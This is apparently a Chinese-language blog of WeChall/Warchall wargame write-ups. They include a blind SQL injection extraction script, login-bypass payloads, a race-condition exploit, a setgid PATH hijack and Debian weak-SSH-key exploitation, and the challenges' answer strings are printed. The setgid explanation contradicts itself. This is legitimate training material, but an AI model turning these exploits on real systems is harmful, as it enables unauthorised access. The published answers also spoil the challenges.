Hello Navi

Tech, Security & Personal Notes

Challenge

Blinded by the light 的升级版(作者 Mawekl)。同样从数据库中提取 32 位 hex password hash,但:

  • Boolean blind 无效blightVuln() 的 true/false 两个分支返回完全相同的语言字符串
  • SLEEP/BENCHMARK 被过滤stripos($password, 'sleep')stripos($password, 'benchmark') 直接拦截
  • 预算 128 次查询,需要连续成功 3 轮

Source Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function blightVuln(WC_Challenge $chall, $password, $attempt)
{
# Blocked keywords
if (strpos($password, '/*') !== false || stripos($password, 'blight') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

# No timing attempts
if (stripos($password, 'benchmark') !== false || stripos($password, 'sleep') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) ?
$chall->lang('mawekl_blinds_you', array($attempt)) :
$chall->lang('mawekl_blinds_you', array($attempt));
}

queryFirst() 返回首行或 false,但三元运算符两端输出完全相同的文本。布尔信道和 timing 信道都不可用。

Solution

利用 error-based blind SQLi。MySQL 的 IF() 根据条件返回不同值:

1
' OR IF(condition, 1, (SELECT 1 UNION SELECT 2)) --
  • 条件为 TRUE → IF 返回 1,WHERE 子句为真 → queryFirst 返回一行 → 页面无 MySQL 错误
  • 条件为 FALSE → IF 执行 SELECT 1 UNION SELECT 2,返回 2 行 → MySQL 错误 "Subquery returns more than 1 row" → 页面出现 <div class="gwf_errors">

提取算法完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Are you blind? — Error-based blind SQLi solver."""
import requests, re, time, sys

URL = 'https://www.wechall.net/en/challenge/Mawekl/are_you_blind/index.php'
COOKIE = {'WC': '40700784-72047-P62VMhsWxh3elcYN'}
HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}
ALPHABET = '0123456789ABCDEF'

s = requests.Session()
s.headers.update(HEADERS)
s.cookies.update(COOKIE)

def has_error(payload):
"""Return True if condition caused MySQL error (condition was FALSE)."""
data = {'injection': payload, 'inject': 'Inject'}
try:
r = s.post(URL, data=data, timeout=15)
return 'gwf_errors' in r.text
except:
time.sleep(1)
return has_error(payload)

# Reset challenge first
print("[*] Resetting challenge...")
s.get(URL, params={'reset': 'me'})
time.sleep(1)

recovered = ''
for pos in range(1, 33):
lo, hi = 0, len(ALPHABET) - 1
while lo < hi:
mid = (lo + hi) // 2
mid_char = ALPHABET[mid]
# TRUE: password[pos] > mid_char → no error
# FALSE: password[pos] <= mid_char → error
payload = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload):
hi = mid
else:
lo = mid + 1
time.sleep(0.2)
recovered += ALPHABET[lo]
bar = '\u2588' * pos + '\u2591' * (32 - pos)
sys.stdout.write(f'\r[{bar}] {pos}/32 | {recovered}')
sys.stdout.flush()

print(f"\n[+] Recovered: {recovered}")

# Submit
print("[*] Submitting...")
r = s.post(URL, data={'thehash': recovered, 'mybutton': 'Enter'})

if 'correct' in r.text.lower() or 'solved' in r.text.lower():
print("[+] SOLVED!")
elif 'gwf_messages' in r.text:
msgs = re.findall(r'<li>(.*?)</li>', r.text)
for m in msgs:
if m.strip():
print(f" MSG: {m}")
elif 'gwf_errors' in r.text:
errs = re.findall(r'<li>(.*?)</li>', r.text)
for e in errs:
if e.strip():
print(f" ERR: {e}")

if 'more' in r.text.lower() or 'consecutive' in r.text.lower():
print("[i] Need more consecutive rounds — running again...")
success_count = 1
while success_count < 5:
s.get(URL, params={'reset': 'me'})
time.sleep(0.5)
recovered2 = ''
for pos in range(1, 33):
lo2, hi2 = 0, len(ALPHABET) - 1
while lo2 < hi2:
mid2 = (lo2 + hi2) // 2
mid_char2 = ALPHABET[mid2]
payload2 = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char2}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload2):
hi2 = mid2
else:
lo2 = mid2 + 1
time.sleep(0.1)
recovered2 += ALPHABET[lo2]
sys.stdout.write(f'\r Round {success_count+1}: [{pos}/32] {recovered2}')
sys.stdout.flush()
r2 = s.post(URL, data={'thehash': recovered2, 'mybutton': 'Enter'})
if 'solved' in r2.text.lower() or 'congrat' in r2.text.lower():
print(f"\n[+] SOLVED after {success_count+1} rounds!")
recovered = recovered2
break
elif 'correct' in r2.text.lower() or 'more' in r2.text.lower():
success_count += 1
print(f"\n[i] Round {success_count} passed, need more...")
else:
print(f"\n[!] Round {success_count+1} failed")
msgs = re.findall(r'<li>(.*?)</li>', r2.text)
for m in msgs:
if m.strip():
print(f" {m}")
break

print(f"\n[*] Final hash: {recovered}")
print("[*] Check https://www.wechall.net/en/challs for wc_chall_solved_1")

关键注意:

  • 不要手动调用 ?reset=me——会断掉连续成功计数
  • 每成功一次服务器自动生成新 hash 进入下一轮
  • 脚本中 while success_count < 5 里的 s.get(URL, params={'reset': 'me'}) 是错误写法——正确做法是 不 reset,成功提交后服务器自动发新 hash

Challenge

CGX#10 是 Codegeex 系列的 SQL 注入训练挑战,包含两个登录表单(mask1 / mask2),需要分别注入获取 secret word。挑战描述为 "training challenge",属于 Training / Exploit / MySQL 分类。

Solution

Problem #1

源码位于 mask1.code

1
2
3
4
5
6
7
8
$user = $_POST['username'];
$pass = md5($_POST['password']);
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = mysqli_query($link, $query);
$userdata = mysqli_fetch_assoc($result);
if ($userdata) {
echo "Welcome back, $user, Your first secret word is \"{$solution}\"";
}

单引号字符串拼接,无任何过滤。password 用 MD5 处理但不影响注入——可以在 username 中闭合引号并注释掉 password 检查:

1
2
username = admin' --
password = anything

-- 后必须有空格。登录成功后页面显示第一个 secret word:silverbullet

Problem #2

mask2.code 只有一行有效代码:

1
require 'solution2.php';

源码不可见,但测试发现改用双引号作为字符串定界符:

1
2
username = admin" OR "1"="1" --
password = anything

利用双引号闭合方式绕过。登录后显示第二个 secret word:firestarter

答案

两个 secret word 拼接后提交:

silverbulletfirestarter

Challenge

购买 10 个 item。初始余额不够,click 每次 +1 cent,最多 50 次。题名 Quangcurrency 暗示 concurrency(race condition)。

Solution

核心是竞态条件(TOCTOU / lost update)。buy.phpclick.php 两个端点的余额读写操作不加锁,并发请求可以制造覆盖:

1
2
buy.php:   读余额 → 判断够买 → item+1 → balance -= price
click.php: 读余额 → balance += 1

如果两个请求同时执行,可能发生:

  1. buy 读余额 X,扣除 price,写回 X-price
  2. click 同时读余额 X(旧值),写回 X+1
  3. click 的写入覆盖了 buy 的扣款 → item 增加了但余额没有正确减少

利用这个漏洞,成对发送 buy.phpclick.php 请求,每次买一个 item 的同时用 click 覆盖扣款。重复直到 items >= 10。

实现要点:

登录后先访问 stats.php 查看当前 money / items / clicks 状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests, threading

s = requests.Session()
s.cookies.set('WC', 'your_cookie')

def race_round(s):
"""并发发送 buy 和 click"""
t1 = threading.Thread(target=lambda: s.get('buy.php'))
t2 = threading.Thread(target=lambda: s.get('click.php'))
t1.start(); t2.start()
t1.join(); t2.join()

for _ in range(15): # 不需要太多轮
race_round(s)
stats = s.get('stats.php')
if stats.json().get('items') >= 10:
break
  • click 只有 50 次,不要浪费在大循环上
  • 并发强度不需要太高——官方论坛提示甚至可以用浏览器多标签手动复现
  • 不要 reset,除非状态已不可恢复
  • 可以在浏览器中手动验证:同时按 buy 和 click 按钮,观察 item 增加但余额未对应减少

备选方案(来自论坛提示): 用浏览器打开两个标签页,快速交替点击 buy 和 click,有一定几率触发 race。脚本更稳定。

Challenge

Santa speaks many languages and is receiving a lot of letters this year. But he gets old! The problem is that he will need glasses. Do you need glasses as well? spaceone told us you can help!

Solution

挑战描述里的 help! 链接指向 gizmore 的 GitHub 仓库 gwf3。WeChall 的 challenge 源码公开,其中 solution.php 文件存储了预期的答案。

www/challenge/christmas2021/grampa/solution.php

1
2
3
<?php
# RTL passphrase by TuB
return sha1("あなたはそれを見つけることができません" . "الحل خارج نطاقك");

字符串使用了「不匹配的引号」——实际上文件中两个智能引号都是 U+201C(LEFT DOUBLE QUOTATION MARK),因此 PHP 会将其解释为单个字符串而非两个字符串拼接。但无论哪种解析方式,最终需要提交的都是 PHP 实际计算出的 SHA1 哈希值。

PHP 实际执行的等效代码:

1
sha1("あなたはそれを見つけることができません\u201c . \u201cالحل خارج نطاقك")
b33815d66363f7bf3aaa9223e22aa0bc66a5c05c

Challenge

Sidology 要求识别三个 Commodore 64 SID 音乐文件的来源游戏。题目提供 sidchall.zip,包含三个 .sid 文件,元数据被部分或完全审查。

As you are quite a good hacker you should have no problem to gather information. So please tell me the name of these games, where I only have the .sid files from.

Solution

SID 文件格式

PSID v2 文件头 124 字节,关键字段(大端序):

偏移 大小 字段 说明
0x00 4 Magic "PSID"
0x04 2 Version 0x0002 = v2
0x08 2 Load addr 0 = 使用 init 地址
0x0A 2 Init addr 初始化入口
0x0C 2 Play addr 播放入口(每帧调用)
0x0E 2 Songs 子曲目数
0x16 32 Name 曲名(NULL 结尾)
0x36 32 Author 作者
0x56 32 Copyright 版权/年份

Python 解析:

1
2
3
4
5
6
7
8
9
10
11
import struct

def parse_sid(path):
with open(path, 'rb') as f:
data = f.read()
init = struct.unpack('>H', data[10:12])[0]
play = struct.unpack('>H', data[12:14])[0]
name = data[22:54].split(b'\x00')[0].decode('ascii', errors='replace')
author = data[54:86].split(b'\x00')[0].decode('ascii', errors='replace')
return {'init': f'${init:04X}', 'play': f'${play:04X}',
'name': name, 'author': author}

sid1: The Last Ninja

1
2
3
4
5
6
7
Magic: PSID v2
Init: $2003, Play: $2000
Songs: 11, Start: 3
Name: "The Last Ninja"
Author: "Ben Daglish & Anthony Lees"
Copyright: "1987 System 3"
Size: 35617 bytes

元数据完整,直接读出。CSDb 确认。

sid2: The Great Giana Sisters

1
2
3
4
5
6
7
Magic: PSID v2
Init: $712A, Play: $7127
Songs: 8, Start: 5
Name: "xxxxxxxxxxxxxxxxxxxxxxx" (23 chars)
Author: "xxxxxxxxxxxeck" (11 + "eck")
Copyright: "1987 Time Warp"
Size: 23517 bytes

名字被审查(x 替换),但版权信息完整。识别方法:

  1. 版权线索: "1987 Time Warp" → Chris Hülsbeck (Hülsbeck 是 Time Warp 的主要作曲家)
  2. 作者后缀: "eck" + 11 个 x → "Chris Hülsbeck" (14 字符,ü→u)
  3. 名字长度: 23 字符 → "The Great Giana Sisters" = 23 字符(含空格)
  4. DeepSID 验证: HVSC 路径 MUSICIANS/H/Huelsbeck_Chris/Great_Giana_Sisters.sid

sid3: Who Dares Wins

1
2
3
4
5
6
7
Magic: PSID v2
Init: $3B0F, Play: $3B00
Songs: 1, Start: 1
Name: "xxxxxxxxxxxxxx" (14 chars)
Author: "xxxxxxxxxxx" (11 chars)
Copyright: "xxxxxxxxxxxxx" (13 chars)
Size: 2983 bytes

全部元数据被审查。识别方法:

  1. 地址搜索: 在 CSDb SID 数据库中搜索 init=$3B0F, play=$3B00 的组合
  2. 唯一匹配: "Who Dares Wins" by Steve Evans (1985, Alligata)
  3. 验证长度:
    • Name: "Who Dares Wins" = 14 字符 ✓
    • Author: "Steve Evans" = 11 字符 ✓
    • Copyright: "1985 Alligata" = 13 字符 ✓
  4. 电影线索: 游戏改编自 1982 年 SAS 电影《Who Dares Wins》(又名 The Final Option)
  5. 非 1987: 游戏发行于 1985 年

CSDb 技术信息验证页: https://csdb.dk/sid/?id=14365

TheLastNinja,GreatGianaSisters,WhoDaresWins

Challenge

This is the level11 mini challenge found in /home/level/11_choose_your_path2/ on the warchall box.

Choose your Path 续集。同样是一个 C 程序 charp2,用 popen() 执行 wc 统计文件行数和字符数。

与 level10 charp 的区别:

特性 charp (level10) charp2 (level11)
wc 路径 硬编码 /usr/bin/wc 直接用 wc(依赖 PATH)
参数包裹 直接拼接 单引号包裹 '%s'
引号转义 escape_single_quotes()''\''

Level 10 是靠 command injection(popen() 不处理 shell metachar),而 level 11 加上了单引号包裹和转义函数,所以 command injection 被堵了。

但新的漏洞是:wc 没有指定绝对路径,可以通过 PATH 环境变量劫持。

Solution

charp2 是 setgid level11 的程序:

1
2
3
$ ls -la /home/level/11_choose_your_path2/
-rwxr-sr-x 1 level11 level11 16440 ... charp2 # setgid!
-rw-r----- 1 root level11 297 ... solution.txt # 只有 level11 可读

solution.txt 只允许 level11 group 读取,但 charp2 执行时有效 GID 变成 level11,所以可以读取。

攻击步骤:

  1. 创建一个 fake wc 脚本
  2. 把它的目录加到 PATH 最前面
  3. 运行 charp2,它通过 popen("wc -l '...'") 执行时,会找到我们的 fake wc
  4. fake wc 继承 charp2 的 setgid 权限(popen/bin/sh -cexec,dash 不会丢弃 setgid),能读取 solution.txt
1
2
3
4
5
6
7
8
9
10
11
12
# 创建 fake wc
mkdir -p ~/mypayload
cat > ~/mypayload/wc << 'EOF'
#!/bin/bash
cat /home/level/11_choose_your_path2/solution.txt 1>&2
echo "1 5" # 让 charp2 能正常解析数字
EOF
chmod +x ~/mypayload/wc

# 执行
cd /home/level/11_choose_your_path2
PATH=~/mypayload:$PATH ./charp2 solution.txt

原理:

  • popen("wc -l 'solution.txt'", "r")/bin/sh -c "wc -l 'solution.txt'"
  • /bin/sh is dash(不是 bash),dash 会丢弃继承的 setgid
  • dash 通过 PATH 找到我们的 ~/mypayload/wc,执行时仍保有 charp2 的 EGID=level11
  • 所以 fake wc 可以 cat solution.txt
CodingIsDamnHard3

Challenge

WeChall 会请求你服务器的 /WechallUsername/[0-9]+_mul_[0-9]+.html 路径,你的服务器需返回两数乘积。

表单只提交 port,IP 由 WeChall 自动检测(从请求的 TCP 源 IP)。

Solution

需要一台满足两个条件的机器: 1. 公网 IP 可被 WeChall 访问(入站) 2. 能出站到 WeChall(提交表单)

方案:临时 Vultr VPS

vultr-cli 在 Frankfurt 区域开一台 Debian 12 VPS:

1
2
3
4
5
6
# 安装 CLI
sudo pacman -S vultr-cli
export VULTR_API_KEY='your-api-key'

# 开机器
vultr-cli instance create --region fra --plan vc2-1c-1gb --os 2136 --host wechall-ctf

拿到 IP 和 root 密码后:

1
2
3
4
5
6
7
8
9
10
11
# 部署 rewrite server
scp rw.py root@IP:/tmp/
ssh root@IP 'nohup python3 /tmp/rw.py 8889 > /tmp/rw.log 2>&1 &'

# 开放防火墙
ssh root@IP 'ufw allow 8889/tcp'

# 提交表单
curl -b 'WC=YOUR_COOKIE' \
-d 'port=8889&go=I+have+set+it+up.+Please+check+my+server.' \
'https://www.wechall.net/en/challenge/training/www/rewrite/index.php'

Rewrite Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import http.server, re, sys

class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
m = re.match(r'^/WechallUsername/([0-9]+)_mul_([0-9]+)\.html$', self.path)
if m:
r = str(int(m.group(1)) * int(m.group(2)))
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(r.encode())
else:
self.send_response(200)
self.end_headers()
self.wfile.write(b'ready')

httpd = http.server.HTTPServer(('0.0.0.0', int(sys.argv[1])), H)
httpd.serve_forever()

注意事项

  • 注意开放 UFW/iptables 端口(Vultr Debian 默认 INPUT DROP)
  • Vultr 防火墙组也要加规则,或者不用 Vultr 防火墙直接用 UFW
  • 用完删实例避免继续计费:vultr-cli instance delete <ID>
  • 最低成本 ~$0.004/hr(vc2-1c-1gb 约 $5/月,按小时计费)

Challenge

Java applet 实现汉诺塔,10 个盘子从左柱移到右柱,限 60 秒。无法在现代浏览器直接运行(Java applet 已被弃用),需要逆向 jar 文件离线算出答案。

Solution

Step 0: 获取 JAR

JAR 文件在挑战页面的 <applet> 标签中通过 archive="hanoi2.jar" 引用,与页面同目录:

1
$ wget https://www.wechall.net/challenge/Z/hanoi/hanoi2.jar

Step 1: 逆向分析

1
2
$ jar xf hanoi2.jar
$ javap -c -p Tower.class Tower\$TowerPanel.class

反编译关键发现:

  • 每次合法拖拽后,mouseUp() 构造 last_tower + new_tower(如 "a" + "b" = "ab"),调用 Tower.query(move)
  • query()/challenge/Z/hanoi/?query=<move> 发 HTTP 请求,读取服务器返回的 2 字符响应,追加到 solution 字符串
  • 所有 10 盘移到右柱(win=true)时,对 solution 做 SHA-512,导航到 ?solution=<hash>
  • 60 秒超时(javax.swing.Timer),移动超过 1023 步自动重置

Step 2: 获取 6 种 query 的返回值

服务器对每种合法移动返回固定 2 字符令牌:

Move Response
ab we
ac ch
ba lr
bc al
ca ul
cb z!

这些值可通过实际运行 applet 抓包或直接 curl 逐个获取:

1
2
$ curl -s 'https://www.wechall.net/challenge/Z/hanoi/?query=ab'
we

Step 3: 生成最优序列

10 盘汉诺塔最优解需要 2^10 − 1 = 1023 步。经典的递归解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib

MOVE_RESP = {
'ab': 'we', 'ac': 'ch', 'ba': 'lr',
'bc': 'al', 'ca': 'ul', 'cb': 'z!',
}
TOWER = ['a', 'b', 'c']

def hanoi_moves(n, src, dst, aux):
if n == 0: return
yield from hanoi_moves(n - 1, src, aux, dst)
yield (src, dst)
yield from hanoi_moves(n - 1, aux, dst, src)

moves = list(hanoi_moves(10, 0, 2, 1))
solution = ''.join(
MOVE_RESP[TOWER[s] + TOWER[d]] for s, d in moves
)
sha = hashlib.sha512(solution.encode()).hexdigest()
print(sha)

输出的 SHA-512 即为答案。

Step 4: 提交

1
$ curl "https://www.wechall.net/challenge/Z/hanoi/index.php?solution=<sha512>"

服务器返回 "Correct!" 即通过。

注意: 该 hash 是确定性的(固定响应表 + 最优路径 = 固定 result),所以可以直接用提交的方式跳过 applet。如服务器已有提交记录,会提示 "Your answer is correct but you have already solved this challenge."

feb3a1f6e5e259f381f42a4e72aceaea204403fab7eec9a2d3d0bcff076a647be88f6f6caeeb1b6295aabba9807f1a2260b466f9f0512498fb50300703eb2552

Challenge

Warchall level8:Z 睡着了,SSH key 暴露在 /home/level/08_sshz/backups/。目标是找到对应私钥,以 level08 登录。

Solution

这题利用 Debian OpenSSL 弱密钥漏洞(2008 年 CVE-2008-0166)。Debian 的 OpenSSL 包因注释掉 md_rand.c 中两行 MD_Update(&m,buf,j),导致 PRNG 仅以进程 PID 作为随机种子,可能的密钥只有 32768 种。

Step 1: 获取 public key

1
2
3
# 从 Warchall 服务器读取公钥
$ cat /home/level/08_sshz/backups/authorized_keys.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLbM20VLy+Bf7fjHk...

Step 2: 计算 MD5 fingerprint

1
2
$ ssh-keygen -l -E md5 -f authorized_keys.backup
2048 MD5:2b:cd:07:a7:01:e9:4a:04:74:d7:7e:e4:d6:d0:f8:06 ...

Step 3: 在 Debian weak key 集中匹配

下载已知弱密钥集合。原 ANSSI-FR 仓库已被删除,可使用 g0tmi1k 维护的镜像:

1
2
3
4
5
6
7
8
9
10
# 克隆镜像(如已有关键集合可跳过)
$ git clone https://github.com/g0tmi1k/debian-ssh
$ cd debian-ssh

# 解压 RSA 2048 位 SSH 密钥
$ tar -xjf common_keys/debian_ssh_rsa_2048_x86.tar.bz2

# 去掉冒号搜索指纹文件名
$ find rsa/ -name '*2bcd07a701e94a0474d77ee4d6d0f806*'
rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669

指纹对应 PID 23669 的 RSA 2048 位密钥。

说明: 该 key set 的文件名格式为 <fingerprint_hex>-<PID>,因此直接 find 匹配指纹(去除冒号)即可定位,无需逐 key 计算。

Step 4: SSH 登录

1
2
$ ssh -i rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669 \
level08@warchall.net -p 19198

注意:用户是 level08,不是 z;使用 -i 指定密钥文件。端口 19198 是 Warchall SSH 服务端口。

PrivateKeysAreGold

Challenge

题目要求将一个 170+ 位的大整数分解质因数,限时 6 秒。

Solution

直接分解这么大的数是不现实的。但题目有一个关键缺陷:提交错误答案后,服务器会在错误信息中泄露正确的答案,并且挑战数字保持不变。

所以解法分三步:

  1. 请求一个新数字
  2. 提交任意错误答案(如 solution=1)→ 服务器返回 Correct would have been "xxx"
  3. 用泄露的正确答案重新提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests, re

cookies = {'WC': 'YOUR_WECHALL_COOKIE'}
base = 'https://www.wechall.net/en/challenge/impossible/index.php'

# Step 1: request new number
r = requests.get(f'{base}?request=new_number', cookies=cookies)
csrf = re.search(r'name="gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: submit wrong answer to leak the correct one
r2 = requests.post(base, data={
'solution': '1',
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)
correct = re.search(r'Correct would have been "(\d+)"', r2.text).group(1)

# Step 3: submit the correct answer
r3 = requests.post(base, data={
'solution': correct,
'solve': 'Submit',
'gwf3_csrf': csrf
}, cookies=cookies)

print("Solved!" if 'correct' in r3.text.lower() else "Failed")
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE